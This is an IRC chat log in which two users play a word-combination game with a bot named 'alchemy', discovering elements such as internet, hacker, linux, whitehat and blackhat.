[2014-12-31T12:43:47-0500] <alchemy> You have: aaron, ent, sword, penguin, puddle, plant, fireman, tornado, tool, metal, rain, water, evil, hole, man, stone, olaf, light, tree, robot
[2014-12-31T12:43:47-0500] <alchemy> You have: air, sandstorm, tsunami, rust, knight, lightning, sculpture, steam, wind
[2014-12-31T12:43:47-0500] <alchemy> That's 49 out of 103!
[2014-12-31T12:43:49-0500] <Tamini_> @hint
[2014-12-31T12:43:50-0500] <alchemy> Hint: It's possible to make knuth!
[2014-12-31T12:43:53-0500] <alokpathy> OOOOOOOOOOOO
[2014-12-31T12:43:57-0500] <Tamini_> knuth?
[2014-12-31T12:44:00-0500] <alokpathy> Finally something useful.
[2014-12-31T12:44:12-0500] <alokpathy> Tamini_: http://en.wikipedia.org/wiki/Donald_Knuth
[2014-12-31T12:44:15-0500] <alokpathy> hmm
[2014-12-31T12:44:16-0500] <Tamini_> as in yhe
[2014-12-31T12:44:20-0500] <Tamini_> computer scientist?
[2014-12-31T12:44:21-0500] <Tamini_> odamn
[2014-12-31T12:44:26-0500] <alokpathy> Probably.
[2014-12-31T12:44:26-0500] <Tamini_> @combine man computer
[2014-12-31T12:44:27-0500] <alchemy> man and computer don't make anything exciting.
[2014-12-31T12:44:45-0500] <alokpathy> Err do we have the right things to make knuth?
[2014-12-31T12:44:54-0500] <alokpathy> It's probably man + something
[2014-12-31T12:44:57-0500] <Tamini_> code + art should make latex
[2014-12-31T12:44:58-0500] <Tamini_> lol
[2014-12-31T12:45:11-0500] <alokpathy> Well we don't know if either of them are elements xD
[2014-12-31T12:45:14-0500] <Tamini_> we need to make programming
[2014-12-31T12:45:22-0500] <alokpathy> @combine computer aaron
[2014-12-31T12:45:23-0500] <alchemy> computer and aaron don't make anything exciting.
[2014-12-31T12:45:24-0500] <Tamini_> @combine man chivalry
[2014-12-31T12:45:24-0500] <alchemy> man and chivalry don't make anything exciting.
[2014-12-31T12:45:32-0500] <Tamini_> @combine rust computer
[2014-12-31T12:45:33-0500] <alchemy> rust and computer don't make anything exciting.
[2014-12-31T12:45:38-0500] <alokpathy> hardmath123: alchemy finally gave a useful hint LOL
[2014-12-31T12:45:42-0500] <alokpathy> @combine rust aaron
[2014-12-31T12:45:43-0500] <alchemy> rust and aaron don't make anything exciting.
[2014-12-31T12:45:45-0500] <Tamini_> and we cant use it
[2014-12-31T12:45:50-0500] <Tamini_> @combine computer aaron
[2014-12-31T12:45:51-0500] <alchemy> computer and aaron don't make anything exciting.
[2014-12-31T12:45:56-0500] <alokpathy> @combine penguin computer
[2014-12-31T12:45:57-0500] <alchemy> penguin and computer don't make anything exciting.
[2014-12-31T12:46:02-0500] <Tamini_> @combine computer computer
[2014-12-31T12:46:03-0500] <alchemy> computer and computer don't make anything exciting.
[2014-12-31T12:46:09-0500] <alokpathy> @combine thunder thunder
[2014-12-31T12:46:09-0500] <alchemy> thunder and thunder don't make anything exciting.
[2014-12-31T12:46:12-0500] <Tamini_> @combine penguin electricity
[2014-12-31T12:46:13-0500] <alchemy> penguin and electricity don't make anything exciting.
[2014-12-31T12:46:17-0500] <alokpathy> @list
[2014-12-31T12:46:18-0500] <Tamini_> @combine computer electricity
[2014-12-31T12:46:18-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, ice, earth, ocean, cloud, mountain, neanderthal, hal, sentience, electricity, thunder, snow, lava, fire
[2014-12-31T12:46:18-0500] <alchemy> You have: aaron, ent, sword, penguin, puddle, plant, fireman, tornado, tool, metal, rain, water, evil, hole, man, stone, olaf, light, tree, robot
[2014-12-31T12:46:18-0500] <alchemy> You have: air, sandstorm, tsunami, rust, knight, lightning, sculpture, steam, wind
[2014-12-31T12:46:18-0500] <alchemy> That's 49 out of 103!
[2014-12-31T12:46:19-0500] <alchemy> computer and electricity don't make anything exciting.
[2014-12-31T12:46:33-0500] <Tamini_> @combine sentience electricity
[2014-12-31T12:46:33-0500] <alchemy> sentience and electricity don't make anything exciting.
[2014-12-31T12:46:37-0500] <alokpathy> @combine sentience man
[2014-12-31T12:46:37-0500] <alchemy> You already combined sentience and man to get evil.
[2014-12-31T12:46:39-0500] <Tamini_> @combine sentience robot
[2014-12-31T12:46:39-0500] <alchemy> sentience and robot don't make anything exciting.
[2014-12-31T12:46:43-0500] <alokpathy> @combine sentience energy
[2014-12-31T12:46:44-0500] <alchemy> sentience and energy don't make anything exciting.
[2014-12-31T12:46:49-0500] <Tamini_> @combine man hole
[2014-12-31T12:46:49-0500] <alchemy> man and hole don't make anything exciting.
[2014-12-31T12:46:57-0500] <Tamini_> lol no manhole
[2014-12-31T12:47:06-0500] <alokpathy> @combine google mountain
[2014-12-31T12:47:07-0500] <alchemy> google and mountain don't make anything exciting.
[2014-12-31T12:47:15-0500] <alokpathy> Hm, Google Earth?
[2014-12-31T12:47:18-0500] <Tamini_> can we make bitcoin?
[2014-12-31T12:47:23-0500] <Tamini_> @combine google earth
[2014-12-31T12:47:24-0500] <alchemy> google and earth don't make anything exciting.
[2014-12-31T12:47:30-0500] <Tamini_> nop
[2014-12-31T12:47:31-0500] <alokpathy> Oh earth's an element.
[2014-12-31T12:47:35-0500] <alokpathy> Darn.
[2014-12-31T12:47:43-0500] <alokpathy> @combine snow fire
[2014-12-31T12:47:43-0500] <alchemy> snow and fire don't make anything exciting.
[2014-12-31T12:47:58-0500] <alokpathy> @combine fireman electricity 
[2014-12-31T12:48:00-0500] <+hardmath123> ha, you finally got something useful out of the hint system? :)
[2014-12-31T12:48:03-0500] <alokpathy> @combine fireman electricity
[2014-12-31T12:48:03-0500] <alchemy> fireman and electricity don't make anything exciting.
[2014-12-31T12:48:14-0500] <alokpathy> hardmath123: Yeah, we got that we can make Knuth xD
[2014-12-31T12:48:16-0500] <Tamini_> @combine steam metal
[2014-12-31T12:48:17-0500] <alchemy> You just discovered engine (steam + metal)!
[2014-12-31T12:48:20-0500] <alokpathy> WOOO
[2014-12-31T12:48:23-0500] <Tamini_> <3
[2014-12-31T12:48:31-0500] <alokpathy> @list
[2014-12-31T12:48:31-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, ice, earth, ocean, cloud, mountain, neanderthal, hal, sentience, electricity, thunder, snow, lava, fire
[2014-12-31T12:48:31-0500] <alchemy> You have: aaron, ent, sword, penguin, puddle, engine, plant, fireman, tornado, tool, metal, rain, water, evil, hole, man, stone, olaf, light, tree
[2014-12-31T12:48:31-0500] <alchemy> You have: robot, air, sandstorm, tsunami, rust, knight, lightning, sculpture, steam, wind
[2014-12-31T12:48:31-0500] <alchemy> That's 50 out of 103!
[2014-12-31T12:48:35-0500] <Tamini_> @combine engine metal
[2014-12-31T12:48:35-0500] <alchemy> engine and metal don't make anything exciting.
[2014-12-31T12:48:39-0500] <Tamini_> @combine engine steam
[2014-12-31T12:48:39-0500] <alchemy> engine and steam don't make anything exciting.
[2014-12-31T12:48:46-0500] <alokpathy> @combine engine man
[2014-12-31T12:48:46-0500] <alchemy> engine and man don't make anything exciting.
[2014-12-31T12:48:48-0500] <Tamini_> @combine engine tool
[2014-12-31T12:48:48-0500] <alchemy> engine and tool don't make anything exciting.
[2014-12-31T12:48:55-0500] <Tamini_> @combine engine air
[2014-12-31T12:48:55-0500] <alchemy> engine and air don't make anything exciting.
[2014-12-31T12:48:56-0500] <alokpathy> @combine engine plant
[2014-12-31T12:48:57-0500] <alchemy> engine and plant don't make anything exciting.
[2014-12-31T12:49:00-0500] <alokpathy> @combine engine wind
[2014-12-31T12:49:00-0500] <alchemy> engine and wind don't make anything exciting.
[2014-12-31T12:49:00-0500] <Tamini_> fuu
[2014-12-31T12:49:05-0500] <alokpathy> @combine engine water
[2014-12-31T12:49:06-0500] <alchemy> You just discovered boat (engine + water)!
[2014-12-31T12:49:08-0500] <alokpathy> woo
[2014-12-31T12:49:12-0500] <alokpathy> @combine boat ocean
[2014-12-31T12:49:14-0500] <alchemy> You just discovered ship (boat + ocean)!
[2014-12-31T12:49:15-0500] <alokpathy> woo
[2014-12-31T12:49:20-0500] <Tamini_> @combine fire wood
[2014-12-31T12:49:20-0500] <alchemy> You don't have wood!
[2014-12-31T12:49:22-0500] <Tamini_> wait hmm
[2014-12-31T12:49:25-0500] <alokpathy> @list
[2014-12-31T12:49:25-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, ice, earth, ship, ocean, cloud, mountain, neanderthal, hal, sentience, electricity, thunder, snow, lava
[2014-12-31T12:49:25-0500] <alchemy> You have: fire, aaron, ent, boat, sword, penguin, puddle, engine, plant, fireman, tornado, tool, metal, rain, water, evil, hole, man, stone, olaf
[2014-12-31T12:49:25-0500] <alchemy> You have: light, tree, robot, air, sandstorm, tsunami, rust, knight, lightning, sculpture, steam, wind
[2014-12-31T12:49:25-0500] <alchemy> That's 52 out of 103!
[2014-12-31T12:49:27-0500] <Tamini_> @combine fire tree
[2014-12-31T12:49:27-0500] <alchemy> fire and tree don't make anything exciting.
[2014-12-31T12:49:32-0500] <alokpathy> @combine ship ocean
[2014-12-31T12:49:32-0500] <Tamini_> @combine ship steam
[2014-12-31T12:49:32-0500] <alchemy> ship and ocean don't make anything exciting.
[2014-12-31T12:49:33-0500] <alchemy> ship and steam don't make anything exciting.
[2014-12-31T12:49:37-0500] <Tamini_> @combine boat steam
[2014-12-31T12:49:37-0500] <alchemy> boat and steam don't make anything exciting.
[2014-12-31T12:49:38-0500] <alokpathy> @combine ship ice
[2014-12-31T12:49:38-0500] <alchemy> ship and ice don't make anything exciting.
[2014-12-31T12:49:45-0500] <alokpathy> Lol no titanic
[2014-12-31T12:49:47-0500] <Tamini_> @combine boat ice
[2014-12-31T12:49:47-0500] <alchemy> boat and ice don't make anything exciting.
[2014-12-31T12:49:49-0500] <Tamini_> lol
[2014-12-31T12:49:54-0500] <alokpathy> @combine boat man
[2014-12-31T12:49:54-0500] <alchemy> boat and man don't make anything exciting.
[2014-12-31T12:49:58-0500] <alokpathy> @combine ship man
[2014-12-31T12:49:58-0500] <alchemy> ship and man don't make anything exciting.
[2014-12-31T12:50:01-0500] <+hardmath123> wow you guys haven't tried a really obvious google one yet
[2014-12-31T12:50:02-0500] <alokpathy> @combine ship villain
[2014-12-31T12:50:03-0500] <alchemy> ship and villain don't make anything exciting.
[2014-12-31T12:50:12-0500] <alokpathy> Oh
[2014-12-31T12:50:14-0500] <Tamini_> @combine tree ent
[2014-12-31T12:50:15-0500] <alchemy> tree and ent don't make anything exciting.
[2014-12-31T12:50:18-0500] <Tamini_> lol
[2014-12-31T12:50:23-0500] <Tamini_> @combine google man
[2014-12-31T12:50:25-0500] <alchemy> google and man don't make anything exciting.
[2014-12-31T12:50:26-0500] <Tamini_> hint
[2014-12-31T12:50:28-0500] <Tamini_> @hint
[2014-12-31T12:50:29-0500] <alchemy> No can do, buddy.
[2014-12-31T12:50:31-0500] <Tamini_> @list
[2014-12-31T12:50:31-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, ice, earth, ship, ocean, cloud, mountain, neanderthal, hal, sentience, electricity, thunder, snow, lava
[2014-12-31T12:50:31-0500] <alchemy> You have: fire, aaron, ent, boat, sword, penguin, puddle, engine, plant, fireman, tornado, tool, metal, rain, water, evil, hole, man, stone, olaf
[2014-12-31T12:50:31-0500] <alchemy> You have: light, tree, robot, air, sandstorm, tsunami, rust, knight, lightning, sculpture, steam, wind
[2014-12-31T12:50:31-0500] <alchemy> That's 52 out of 103!
[2014-12-31T12:50:37-0500] <alokpathy> @combine google earth
[2014-12-31T12:50:37-0500] <alchemy> google and earth don't make anything exciting.
[2014-12-31T12:50:41-0500] <alokpathy> @combine google computer
[2014-12-31T12:50:42-0500] <Tamini_> @combine google villain
[2014-12-31T12:50:42-0500] <alchemy> google and computer don't make anything exciting.
[2014-12-31T12:50:44-0500] <alchemy> google and villain don't make anything exciting.
[2014-12-31T12:50:46-0500] <alokpathy> @combine google hal
[2014-12-31T12:50:47-0500] <alchemy> google and hal don't make anything exciting.
[2014-12-31T12:50:52-0500] <alokpathy> @combine google ocean
[2014-12-31T12:50:54-0500] <alchemy> google and ocean don't make anything exciting.
[2014-12-31T12:50:56-0500] <Tamini_> @combine google chivalry
[2014-12-31T12:50:56-0500] <alchemy> google and chivalry don't make anything exciting.
[2014-12-31T12:50:59-0500] <alokpathy> @combine google electricity
[2014-12-31T12:50:59-0500] <alchemy> google and electricity don't make anything exciting.
[2014-12-31T12:51:02-0500] <Tamini_> @combine google google
[2014-12-31T12:51:02-0500] <alchemy> google and google don't make anything exciting.
[2014-12-31T12:51:04-0500] <alokpathy> @combieng oogle rust
[2014-12-31T12:51:07-0500] <Tamini_> @combine google rust
[2014-12-31T12:51:08-0500] <alokpathy> @combien google rust
[2014-12-31T12:51:08-0500] <alchemy> google and rust don't make anything exciting.
[2014-12-31T12:51:11-0500] <Tamini_> lolol
[2014-12-31T12:51:15-0500] <Tamini_> alokpathy: pls
[2014-12-31T12:51:21-0500] <alokpathy> @combine google energy
[2014-12-31T12:51:22-0500] <alchemy> google and energy don't make anything exciting.
[2014-12-31T12:51:24-0500] <Tamini_> @combine google cloud
[2014-12-31T12:51:24-0500] <alchemy> You just discovered internet (google + cloud)!
[2014-12-31T12:51:28-0500] <Tamini_> OH WOE
[2014-12-31T12:51:28-0500] <alokpathy> WOW
[2014-12-31T12:51:30-0500] <Tamini_> WOW*
[2014-12-31T12:51:34-0500] <Tamini_> i didnt realize until
[2014-12-31T12:51:35-0500] <Tamini_> lol
[2014-12-31T12:51:35-0500] <alokpathy> WOW
[2014-12-31T12:51:39-0500] <Tamini_> @combine computer internet
[2014-12-31T12:51:40-0500] <alchemy> computer and internet don't make anything exciting.
[2014-12-31T12:51:44-0500] <alokpathy> @combine internet man
[2014-12-31T12:51:45-0500] <alchemy> You just discovered hacker (internet + man)!
[2014-12-31T12:51:46-0500] <Tamini_> @combine penguin internet
[2014-12-31T12:51:46-0500] <alchemy> penguin and internet don't make anything exciting.
[2014-12-31T12:51:49-0500] <alokpathy> @combine hacker man
[2014-12-31T12:51:49-0500] <alchemy> hacker and man don't make anything exciting.
[2014-12-31T12:51:51-0500] <Tamini_> @combine hacker penguin
[2014-12-31T12:51:51-0500] <alchemy> You just discovered linux (hacker + penguin)!
[2014-12-31T12:51:52-0500] <alokpathy> @combine hacker hal
[2014-12-31T12:51:52-0500] <alchemy> hacker and hal don't make anything exciting.
[2014-12-31T12:51:54-0500] <Tamini_> LOL
[2014-12-31T12:51:55-0500] <alokpathy> Ahh
[2014-12-31T12:51:57-0500] <alokpathy> there's the linux
[2014-12-31T12:51:57-0500] <Tamini_> I DID IT
[2014-12-31T12:51:58-0500] <alokpathy> LOL
[2014-12-31T12:52:01-0500] <alokpathy> @combine linux man
[2014-12-31T12:52:02-0500] <alchemy> linux and man don't make anything exciting.
[2014-12-31T12:52:02-0500] <Tamini_> HARDMATH123 I DID IT
[2014-12-31T12:52:06-0500] <alokpathy> @list
[2014-12-31T12:52:07-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, ice, linux, earth, ship, ocean, cloud, hacker, mountain, neanderthal, hal, sentience, electricity, thunder
[2014-12-31T12:52:08-0500] <alchemy> You have: snow, lava, fire, aaron, ent, boat, sword, internet, penguin, puddle, engine, plant, fireman, tornado, tool, metal, rain, water, evil, hole
[2014-12-31T12:52:08-0500] <alchemy> You have: man, stone, olaf, light, tree, robot, air, sandstorm, tsunami, rust, knight, lightning, sculpture, steam, wind
[2014-12-31T12:52:08-0500] <alchemy> That's 55 out of 103!
[2014-12-31T12:52:09-0500] <+hardmath123> Tamini_: I'M PROUD OF YOU
[2014-12-31T12:52:10-0500] <Tamini_> @combine hacker computer
[2014-12-31T12:52:12-0500] <alchemy> hacker and computer don't make anything exciting.
[2014-12-31T12:52:15-0500] <Tamini_> hardmath123: <3
[2014-12-31T12:52:16-0500] <alokpathy> @combine hacker linux
[2014-12-31T12:52:17-0500] <alchemy> hacker and linux don't make anything exciting.
[2014-12-31T12:52:29-0500] <alokpathy> @combine internet google
[2014-12-31T12:52:30-0500] <alchemy> internet and google don't make anything exciting.
[2014-12-31T12:52:30-0500] <Tamini_> @combine linux computer
[2014-12-31T12:52:30-0500] <alchemy> linux and computer don't make anything exciting.
[2014-12-31T12:52:34-0500] <alokpathy> @combine linux google
[2014-12-31T12:52:35-0500] <alchemy> linux and google don't make anything exciting.
[2014-12-31T12:52:45-0500] <alokpathy> @combine hacker cloud
[2014-12-31T12:52:45-0500] <alchemy> hacker and cloud don't make anything exciting.
[2014-12-31T12:52:48-0500] <Tamini_> @combine internet cloud
[2014-12-31T12:52:48-0500] <alchemy> internet and cloud don't make anything exciting.
[2014-12-31T12:52:54-0500] <alokpathy> @combine cloud ice
[2014-12-31T12:52:55-0500] <alchemy> cloud and ice don't make anything exciting.
[2014-12-31T12:52:55-0500] <Tamini_> @combine internet hacker
[2014-12-31T12:52:55-0500] <alchemy> internet and hacker don't make anything exciting.
[2014-12-31T12:53:01-0500] <Tamini_> we need to make knuth
[2014-12-31T12:53:04-0500] <Tamini_> what can we do hm
[2014-12-31T12:53:06-0500] <alokpathy> but hao
[2014-12-31T12:53:14-0500] <alokpathy> @combine man hacker
[2014-12-31T12:53:16-0500] <alchemy> man and hacker don't make anything exciting.
[2014-12-31T12:53:17-0500] <alokpathy> @combine man linux
[2014-12-31T12:53:18-0500] <alchemy> man and linux don't make anything exciting.
[2014-12-31T12:53:19-0500] <Tamini_> @combine fire plant
[2014-12-31T12:53:20-0500] <alchemy> fire and plant don't make anything exciting.
[2014-12-31T12:53:23-0500] <Tamini_> @combine sentience internet
[2014-12-31T12:53:24-0500] <alchemy> sentience and internet don't make anything exciting.
[2014-12-31T12:53:25-0500] <alokpathy> @combine electricity plant
[2014-12-31T12:53:26-0500] <alchemy> electricity and plant don't make anything exciting.
[2014-12-31T12:53:28-0500] <Tamini_> @combine chivalry hacker
[2014-12-31T12:53:29-0500] <alchemy> You just discovered whitehat (chivalry + hacker)!
[2014-12-31T12:53:29-0500] <alokpathy> @combine sentience hacker
[2014-12-31T12:53:31-0500] <alchemy> sentience and hacker don't make anything exciting.
[2014-12-31T12:53:31-0500] <Tamini_> LOL
[2014-12-31T12:53:33-0500] <alokpathy> woo
[2014-12-31T12:53:36-0500] <Tamini_> @combine evil hacker
[2014-12-31T12:53:37-0500] <alchemy> You just discovered blackhat (evil + hacker)!
[2014-12-31T12:53:39-0500] <alokpathy> LOL
[2014-12-31T12:53:43-0500] <Tamini_> @combine blackhat whitehat
[2014-12-31T12:53:44-0500] <alchemy> blackhat and whitehat don't make anything exciting.
[2014-12-31T12:53:44-0500] <alokpathy> @combine whitehat man
[2014-12-31T12:53:45-0500] <alchemy> whitehat and man don't make anything exciting.
[2014-12-31T12:53:47-0500] <Tamini_> greyhat cmon
[2014-12-31T12:53:51-0500] <alokpathy> @combine blackhat man
[2014-12-31T12:53:52-0500] <alchemy> blackhat and man don't make anything exciting.
[2014-12-31T12:53:55-0500] <alokpathy> @list
[2014-12-31T12:53:56-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, ice, linux, earth, ship, ocean, cloud, hacker, mountain, neanderthal, hal, whitehat, sentience, electricity
[2014-12-31T12:53:56-0500] <alchemy> You have: thunder, snow, lava, fire, aaron, ent, boat, sword, internet, penguin, puddle, engine, plant, fireman, tornado, tool, blackhat, metal, rain, water
[2014-12-31T12:53:56-0500] <alchemy> You have: evil, hole, man, stone, olaf, light, tree, robot, air, sandstorm, tsunami, rust, knight, lightning, sculpture, steam, wind
[2014-12-31T12:53:56-0500] <alchemy> That's 57 out of 103!
[2014-12-31T12:53:57-0500] <Tamini_> @hint
[2014-12-31T12:53:58-0500] <alchemy> Not this time!
[2014-12-31T12:54:05-0500] <Tamini_> @combine hacker knight
[2014-12-31T12:54:06-0500] <alchemy> hacker and knight don't make anything exciting.
[2014-12-31T12:54:12-0500] <alokpathy> @combine linux knight
[2014-12-31T12:54:13-0500] <alchemy> linux and knight don't make anything exciting.
[2014-12-31T12:54:21-0500] <alokpathy> @combine penguin linux
[2014-12-31T12:54:21-0500] <Tamini_> @combine linux plant
[2014-12-31T12:54:22-0500] <alchemy> penguin and linux don't make anything exciting.
[2014-12-31T12:54:23-0500] <alchemy> linux and plant don't make anything exciting.
[2014-12-31T12:54:26-0500] <Tamini_> linux mint? no?
[2014-12-31T12:54:35-0500] <Tamini_> @combine linux evil
[2014-12-31T12:54:36-0500] <alchemy> linux and evil don't make anything exciting.
[2014-12-31T12:54:39-0500] <alokpathy> @combine evil whitehat
[2014-12-31T12:54:40-0500] <alchemy> evil and whitehat don't make anything exciting.
[2014-12-31T12:54:42-0500] <alokpathy> @combine evil blackhat
[2014-12-31T12:54:43-0500] <alchemy> evil and blackhat don't make anything exciting.
[2014-12-31T12:54:47-0500] <alokpathy> @combine computer linux
[2014-12-31T12:54:48-0500] <alchemy> computer and linux don't make anything exciting.
[2014-12-31T12:54:51-0500] <Tamini_> wait wait
[2014-12-31T12:54:53-0500] <Tamini_> we need to make flag
[2014-12-31T12:54:53-0500] <alokpathy> @combine computer hacker
[2014-12-31T12:54:55-0500] <alchemy> computer and hacker don't make anything exciting.
[2014-12-31T12:54:58-0500] <alokpathy> Oh hm
[2014-12-31T12:55:04-0500] <Tamini_> flag+hacker
[2014-12-31T12:55:11-0500] <Tamini_> hehehe
[2014-12-31T12:55:13-0500] <alokpathy> lolol
[2014-12-31T12:55:24-0500] <alokpathy> @combine aaron blackhat
[2014-12-31T12:55:25-0500] <alchemy> aaron and blackhat don't make anything exciting.
[2014-12-31T12:55:28-0500] <alokpathy> @combine aaron internet
[2014-12-31T12:55:29-0500] <alchemy> aaron and internet don't make anything exciting.
[2014-12-31T12:55:40-0500] <alokpathy> @combine ship hacker
[2014-12-31T12:55:40-0500] <Tamini_> @combine earth water
[2014-12-31T12:55:41-0500] <alchemy> ship and hacker don't make anything exciting.
[2014-12-31T12:55:42-0500] <alchemy> earth and water don't make anything exciting.
[2014-12-31T12:55:48-0500] <alokpathy> @list
[2014-12-31T12:55:48-0500] <Tamini_> @combine hacker hacker
[2014-12-31T12:55:49-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, ice, linux, earth, ship, ocean, cloud, hacker, mountain, neanderthal, hal, whitehat, sentience, electricity
[2014-12-31T12:55:49-0500] <alchemy> You have: thunder, snow, lava, fire, aaron, ent, boat, sword, internet, penguin, puddle, engine, plant, fireman, tornado, tool, blackhat, metal, rain, water
[2014-12-31T12:55:49-0500] <alchemy> You have: evil, hole, man, stone, olaf, light, tree, robot, air, sandstorm, tsunami, rust, knight, lightning, sculpture, steam, wind
[2014-12-31T12:55:49-0500] <alchemy> That's 57 out of 103!
[2014-12-31T12:55:50-0500] <alchemy> hacker and hacker don't make anything exciting.
[2014-12-31T12:55:57-0500] <alokpathy> @combine internet internet
[2014-12-31T12:55:57-0500] <Tamini_> cmon two hackers?
[2014-12-31T12:55:58-0500] <alchemy> internet and internet don't make anything exciting.
[2014-12-31T12:56:00-0500] <Tamini_> double the excitement
[2014-12-31T12:56:03-0500] <alokpathy> @combine linux linux
[2014-12-31T12:56:04-0500] <alchemy> linux and linux don't make anything exciting.
[2014-12-31T12:56:10-0500] <Tamini_> @combine computer tool
[2014-12-31T12:56:11-0500] <alchemy> computer and tool don't make anything exciting.
[2014-12-31T12:56:13-0500] <alokpathy> @combine cloud cloud
[2014-12-31T12:56:14-0500] <alchemy> You already combined cloud and cloud to get thunder.
[2014-12-31T12:56:15-0500] <Tamini_> @combine linux tool
[2014-12-31T12:56:16-0500] <alchemy> linux and tool don't make anything exciting.
[2014-12-31T12:56:19-0500] <Tamini_> @combine cloud tool
[2014-12-31T12:56:20-0500] <alchemy> cloud and tool don't make anything exciting.
[2014-12-31T12:56:22-0500] <Tamini_> @combine hacker tool
[2014-12-31T12:56:23-0500] <alchemy> hacker and tool don't make anything exciting.
[2014-12-31T12:56:27-0500] <alokpathy> @combine blackhat tool
[2014-12-31T12:56:28-0500] <alchemy> blackhat and tool don't make anything exciting.
[2014-12-31T12:56:28-0500] <Tamini_> @combine internet tool
[2014-12-31T12:56:29-0500] <alchemy> internet and tool don't make anything exciting.
[2014-12-31T12:56:32-0500] <alokpathy> @combine whitehat tool
[2014-12-31T12:56:33-0500] <alchemy> whitehat and tool don't make anything exciting.
[2014-12-31T12:56:36-0500] <Tamini_> hardmath123: no programming? D:
[2014-12-31T12:56:41-0500] <alokpathy> @combine sword penguin
[2014-12-31T12:56:42-0500] <alchemy> sword and penguin don't make anything exciting.
[2014-12-31T12:56:45-0500] <+hardmath123> Tamini_: ummmm
[2014-12-31T12:56:52-0500] <Tamini_> lol
[2014-12-31T12:56:58-0500] <Tamini_> @hint
[2014-12-31T12:56:59-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T12:57:03-0500] <alokpathy> @hint
[2014-12-31T12:57:03-0500] <alchemy> Not this time!
[2014-12-31T12:57:03-0500] <Tamini_> @hint
[2014-12-31T12:57:04-0500] <alchemy> No can do, buddy.
[2014-12-31T12:57:06-0500] <alokpathy> @hint
[2014-12-31T12:57:07-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T12:57:08-0500] <Tamini_> @hint
[2014-12-31T12:57:09-0500] <alchemy> Not this time!
[2014-12-31T12:57:11-0500] <alokpathy> @hint
[2014-12-31T12:57:12-0500] <alchemy> Not this time!
[2014-12-31T12:57:13-0500] <Tamini_> @hint
[2014-12-31T12:57:13-0500] <alokpathy> @hint
[2014-12-31T12:57:14-0500] <alchemy> Not this time!
[2014-12-31T12:57:15-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T12:57:16-0500] <alokpathy> @hint
[2014-12-31T12:57:17-0500] <alchemy> No can do, buddy.
[2014-12-31T12:57:18-0500] <Tamini_> @hint
[2014-12-31T12:57:19-0500] <alchemy> Not this time!
[2014-12-31T12:57:20-0500] <alokpathy> @hhintt
[2014-12-31T12:57:23-0500] <Tamini_> @hint
[2014-12-31T12:57:23-0500] <alchemy> Not this time!
[2014-12-31T12:57:23-0500] <alokpathy> @hint
[2014-12-31T12:57:24-0500] <alchemy> No can do, buddy.
[2014-12-31T12:57:25-0500] <alokpathy> @hint
[2014-12-31T12:57:25-0500] <alokpathy> @hint
[2014-12-31T12:57:25-0500] <alokpathy> @hint
[2014-12-31T12:57:25-0500] <alokpathy> @hint
[2014-12-31T12:57:26-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T12:57:26-0500] <alokpathy> @hint
[2014-12-31T12:57:26-0500] <alokpathy> @hint
[2014-12-31T12:57:27-0500] <alchemy> No can do, buddy.
[2014-12-31T12:57:28-0500] <alchemy> Not this time!
[2014-12-31T12:57:29-0500] <Tamini_> @hint
[2014-12-31T12:57:29-0500] <alchemy> Not this time!
[2014-12-31T12:57:30-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T12:57:30-0500] <Tamini_> alok
[2014-12-31T12:57:31-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T12:57:32-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T12:57:35-0500] <Tamini_> dont flood
[2014-12-31T12:57:38-0500] <Tamini_> you'll break it
[2014-12-31T12:57:39-0500] <alokpathy> fackin alchemy 
[2014-12-31T12:57:42-0500] <alokpathy> @list
[2014-12-31T12:57:42-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, ice, linux, earth, ship, ocean, cloud, hacker, mountain, neanderthal, hal, whitehat, sentience, electricity
[2014-12-31T12:57:42-0500] <alchemy> You have: thunder, snow, lava, fire, aaron, ent, boat, sword, internet, penguin, puddle, engine, plant, fireman, tornado, tool, blackhat, metal, rain, water
[2014-12-31T12:57:42-0500] <alchemy> You have: evil, hole, man, stone, olaf, light, tree, robot, air, sandstorm, tsunami, rust, knight, lightning, sculpture, steam, wind
[2014-12-31T12:57:42-0500] <alchemy> That's 57 out of 103!
[2014-12-31T12:57:43-0500] <Tamini_> @hint
[2014-12-31T12:57:44-0500] <alchemy> No can do, buddy.
[2014-12-31T12:57:48-0500] <alokpathy> @combine light linux
[2014-12-31T12:57:49-0500] <alchemy> light and linux don't make anything exciting.
[2014-12-31T12:57:50-0500] <Tamini_> @hint
[2014-12-31T12:57:51-0500] <alokpathy> @combine light blackhat
[2014-12-31T12:57:51-0500] <alchemy> Not this time!
[2014-12-31T12:57:52-0500] <alchemy> light and blackhat don't make anything exciting.
[2014-12-31T12:57:56-0500] <Tamini_> @combine light computer
[2014-12-31T12:57:57-0500] <alchemy> light and computer don't make anything exciting.
[2014-12-31T12:58:04-0500] <Tamini_> @combine light internet
[2014-12-31T12:58:05-0500] <alchemy> light and internet don't make anything exciting.
[2014-12-31T12:58:11-0500] <Tamini_> @hint
[2014-12-31T12:58:12-0500] <alchemy> Not this time!
[2014-12-31T12:58:13-0500] <alokpathy> @combine light hacker
[2014-12-31T12:58:13-0500] <alchemy> light and hacker don't make anything exciting.
[2014-12-31T12:58:17-0500] <alokpathy> @combine olaf hacker
[2014-12-31T12:58:18-0500] <alchemy> olaf and hacker don't make anything exciting.
[2014-12-31T12:58:23-0500] <alokpathy> @combine google hacker
[2014-12-31T12:58:24-0500] <alchemy> google and hacker don't make anything exciting.
[2014-12-31T12:58:26-0500] <alokpathy> @combine google whitehat
[2014-12-31T12:58:27-0500] <alchemy> google and whitehat don't make anything exciting.
[2014-12-31T12:58:32-0500] <Tamini_> @combine earth ocean
[2014-12-31T12:58:32-0500] <alchemy> earth and ocean don't make anything exciting.
[2014-12-31T12:58:34-0500] <alokpathy> @combine google blackhat
[2014-12-31T12:58:34-0500] <alchemy> google and blackhat don't make anything exciting.
